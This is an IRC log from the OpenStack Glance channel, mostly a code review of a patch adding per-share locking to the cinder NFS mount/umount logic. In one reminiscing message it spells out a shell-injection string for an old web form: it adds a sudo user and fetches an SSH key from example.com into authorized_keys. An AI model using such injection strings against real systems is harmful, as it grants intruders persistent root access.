Thursday, 2020-04-30

*** Liang__ has joined #openstack-glance01:08
*** gyee has quit IRC01:10
*** dasp_ has joined #openstack-glance03:58
*** dasp has quit IRC04:00
*** ratailor has joined #openstack-glance04:20
*** evrardjp has quit IRC04:35
*** evrardjp has joined #openstack-glance04:36
*** jmlowe has quit IRC05:15
*** jmlowe has joined #openstack-glance05:25
*** udesale has joined #openstack-glance05:41
*** belmoreira has joined #openstack-glance06:58
openstackgerritRajat Dhasmana proposed openstack/glance_store master: Add lock per share for cinder nfs mount/umount  https://review.opendev.org/71687407:05
openstackgerritRajat Dhasmana proposed openstack/glance_store master: Add lock per share for cinder nfs mount/umount  https://review.opendev.org/71687407:23
*** ratailor is now known as ratailor|lunch07:50
*** ratailor|lunch is now known as ratailor08:30
*** Liang__ has quit IRC08:32
*** brtknr has quit IRC09:37
*** brtknr has joined #openstack-glance09:38
*** brtknr has quit IRC09:38
*** brtknr has joined #openstack-glance09:38
*** wxy has quit IRC10:36
openstackgerritRajat Dhasmana proposed openstack/glance_store master: Add lock per share for cinder nfs mount/umount  https://review.opendev.org/71687410:44
*** rcernin has quit IRC11:06
*** udesale_ has joined #openstack-glance11:12
*** udesale has quit IRC11:15
jokke_whoami-rajat: Thanks for keeping pushing the cinder driver patch ... just finished reviewing with bunch of comments inline11:37
whoami-rajatjokke_, sure, will take a look. Thanks!11:37
jokke_whoami-rajat: btw just saw your new PS11:38
whoami-rajatoh11:38
whoami-rajatyour comments are on PS1311:38
jokke_whoami-rajat: I disagree with the bringing it in to the if state == None logic as that will break the umounts further than what I pointed11:39
jokke_yeah ... spent last hour or so reading and commenting it :P11:39
whoami-rajatjokke_, sorry i don't understand, how?11:41
jokke_whoami-rajat: the umount relies on the state and the lock to work, so if we try to execute it while the state has not yet been established the umount will just fail and raise exception11:42
whoami-rajati'm performing the umount after the state is initialized11:43
jokke_ohh crap ... stupid me ... so either case there is no need to indent it under the condition11:44
jokke_or is there?11:44
jokke_Do we expect that if the other thread already initialized state it has also ran the cleanup already?11:45
jokke_meaning we don't need to do it on this thread11:45
jokke_coffee, back in about 1011:47
whoami-rajatsince this cleans up the mountpoints for all possible stores configured, i think only the first initialization needs to perform the cleanup11:49
whoami-rajatand if already initialized then we should avoid it so putting it inside the if block makes sense11:49
whoami-rajatjokke_, so i've a few questions regarding the review comments, i hope you won't mind me asking here11:50
whoami-rajat1) i thought processutils was the preferred way of executing commands on the system that's why i avoided using the os module but we use it in some places so i'm not sure11:51
whoami-rajati think others i can answer on the review, so this is the only one :)11:53
jokke_absolutely shoot ...11:58
jokke_whoami-rajat: 1) quite opposite. os module is definitely the preferred way and we use processutils only when absolutely necessary. Invoking shell from your code is always bit risky. Also Glance is supported to run on Windows so the more we allow python do the right thing on OS level the less we need to take care of those special cases12:00
whoami-rajatjokke_, ack.12:01
jokke_It will always be executed on the user the code is running, so when ever you're using rootwrap, you know you will need to use processutils12:02
jokke_as you need to start that process on elevated privileges12:02
whoami-rajatyep, i checked again where the rootwrap was needed12:04
whoami-rajatjokke_, ok, i will make the changes and let you know, thanks!12:04
jokke_no problem, fortunately they are not massive changes and should clean the code a bit12:05
jokke_whoami-rajat: so just FYI I do not have test environment for this running atm. so I'm executing the code in my head as I read it. So if you feel that I missed something "obvious" in my comments feel free to point it out. I honestly might have12:06
whoami-rajatjokke_, i think most of them are basic changes and won't affect the functionality, i will double check it anyway.12:08
jokke_cool ... the L#126 is something I'm wondering about why I missed it or why your testing would have missed it12:09
*** tkajinam has quit IRC12:09
*** ratailor has quit IRC12:10
whoami-rajatjokke_, the lock is only acquired to remove the entry from the attachments in memory, we have a check to see if the directory is mounted12:14
whoami-rajatjokke_, see L#307, we log a warning that attachment wasn't removed (it didn't existed during the cleanup anyway)12:14
whoami-rajatjokke_, and L#315 and L#317 that checks for the actual condition if the dir is mounted and unmount it after that12:15
jokke_whoami-rajat: yeah, I just expected it barfing on L#303 -> L#21312:17
jokke_cause that should already give key error before the try block ... but it might be that the with is actually not executed before it's used which would explain that behavior12:19
jokke_like said my in brain python intrepreter simulation is not 1to1 accurate with cpython :P12:20
jokke_and honestly if that's the case, great ... simplifies a lot if we don't need to do mount&umount dance just to get around that12:22
jokke_whoami-rajat: also I think the logic is pretty much solid there and I understood that abhishekk has been looking the tests with you ... I believe we are very close to be ready with this. So thanks for bearing with us while solidifying all the details together12:26
whoami-rajatjokke_, no worries :) . i spend more time testing it than actually writing it, even created a fake block device, mounted it and checked it :P12:28
whoami-rajatjokke_, yes, abhishekk helped a lot during everything. thanks for the help and support to both of you :)12:29
jokke_Nice ... that's how it quite often goes ... hopefully you learned something along the way as well :D12:29
*** rcernin has joined #openstack-glance12:31
*** lpetrut has joined #openstack-glance12:34
*** jv_ has joined #openstack-glance12:34
whoami-rajatofcourse. a lot. :)12:47
whoami-rajatjokke, i've a query, only the commands that require root privilages should be mentioned in the rootwrap filters right?12:49
jokke_whoami-rajat: correct12:49
jokke_that just ensures we don't accidentally leak something executed as root we didn't intend to12:50
whoami-rajatack. don't remember why i put mkdir and rmdir in the filters :/ shouldn't cause a problem removing them12:51
* jokke_ remembers all those web forms in 90's early 00's where you could do something like: foobar"; sudo adduser foobar -g wheel; sudo wget -o /home/foobar/.ssh/authorized_keys http://example.com/key.txt; sudo chown foobar /home/foobar/.ssh/authorized_keys and then happily ssh into their prod web servers :P12:54
jokke_sometimes had to shim it through sql servers as the form was pased directly into sql query instead of shell call12:56
jokke_there was loads of very broken software in the early days12:56
jokke_and the sql servers allowed shell execution as well12:57
smcginnisNot that you ever did something like that, right? Nope, never. :)13:11
*** lpetrut has quit IRC13:14
openstackgerritRajat Dhasmana proposed openstack/glance_store master: Add lock per share for cinder nfs mount/umount  https://review.opendev.org/71687413:14
whoami-rajat^ This should fix EVERYTHING!13:16
jokke_smcginnis: only in lab on my personal systems13:18
jokke_And some systems I was auditing13:19
jokke_whoami-rajat: quick question ... why do we need the # noqa in _drivers/cinder.py L#519 and L#623?13:21
whoami-rajatjokke_, since we did the import inside init, pep8 isn't able to detect the mount import :/13:24
jokke_ahh ... gotta !love flake13:25
jokke_still couple of things breaking on that13:25
jokke_posting comments in 213:25
whoami-rajatoh still 2 tests are breaking13:28
whoami-rajatlet me update13:28
*** rcernin has quit IRC13:29
jokke_mhm, just posted my comments there13:29
jokke_very small things left ;)13:29
openstackgerritRajat Dhasmana proposed openstack/glance_store master: Add lock per share for cinder nfs mount/umount  https://review.opendev.org/71687413:40
whoami-rajatjokke_, did the update thanks!13:41
jokke_whoami-rajat: no, you need both os and os.path ;)13:41
jokke_I'm pretty sure at least13:42
* jokke_ recalls falling into that before13:42
jokke_or did it pass locally now?13:42
jokke_it at least used to be one of those weird python namespace things13:43
jokke_nope, you should be good13:43
jokke_whoami-rajat: yeii tox jobs passed, now waiting tempest13:50
abhishekkcool13:50
abhishekkjokke_, rosmaita smcginnis weekly meeting in 2 minutes at #openstack-meeting13:58
whoami-rajatjokke_, yep i tested locally.14:04
*** lpetrut has joined #openstack-glance14:13
*** tkajinam has joined #openstack-glance14:16
*** lpetrut has quit IRC14:46
openstackgerritRajat Dhasmana proposed openstack/glance_store master: Add lock per share for cinder nfs mount/umount  https://review.opendev.org/71687415:24
*** gyee has joined #openstack-glance15:35
*** belmoreira has quit IRC15:49
*** tkajinam has quit IRC16:34
*** evrardjp has quit IRC16:35
*** evrardjp has joined #openstack-glance16:36
*** udesale_ has quit IRC16:39
*** abhishekk is now known as abhishekk|away17:04
*** jmlowe has quit IRC18:24
*** jmlowe has joined #openstack-glance18:27
*** gyee has quit IRC18:45
*** gyee has joined #openstack-glance18:55
*** whoami-rajat has quit IRC20:53
*** johanssone has quit IRC20:53
*** openstackgerrit has quit IRC20:53
*** whoami-rajat has joined #openstack-glance20:54
*** johanssone has joined #openstack-glance20:54
*** smcginnis has quit IRC21:06
*** smcginnis has joined #openstack-glance21:07
*** rcernin has joined #openstack-glance22:04
*** openstackgerrit has joined #openstack-glance22:20
openstackgerritMerged openstack/glance master: fix typo in gerrit doc  https://review.opendev.org/72476222:20
*** rcernin has quit IRC22:33
*** rcernin has joined #openstack-glance22:34
*** tkajinam has joined #openstack-glance22:46
*** tkajinam has quit IRC23:43
*** tkajinam has joined #openstack-glance23:43

Generated by irclog2html.py 2.17.2 by Marius Gedminas - find it at https://mg.pov.lt/irclog2html/!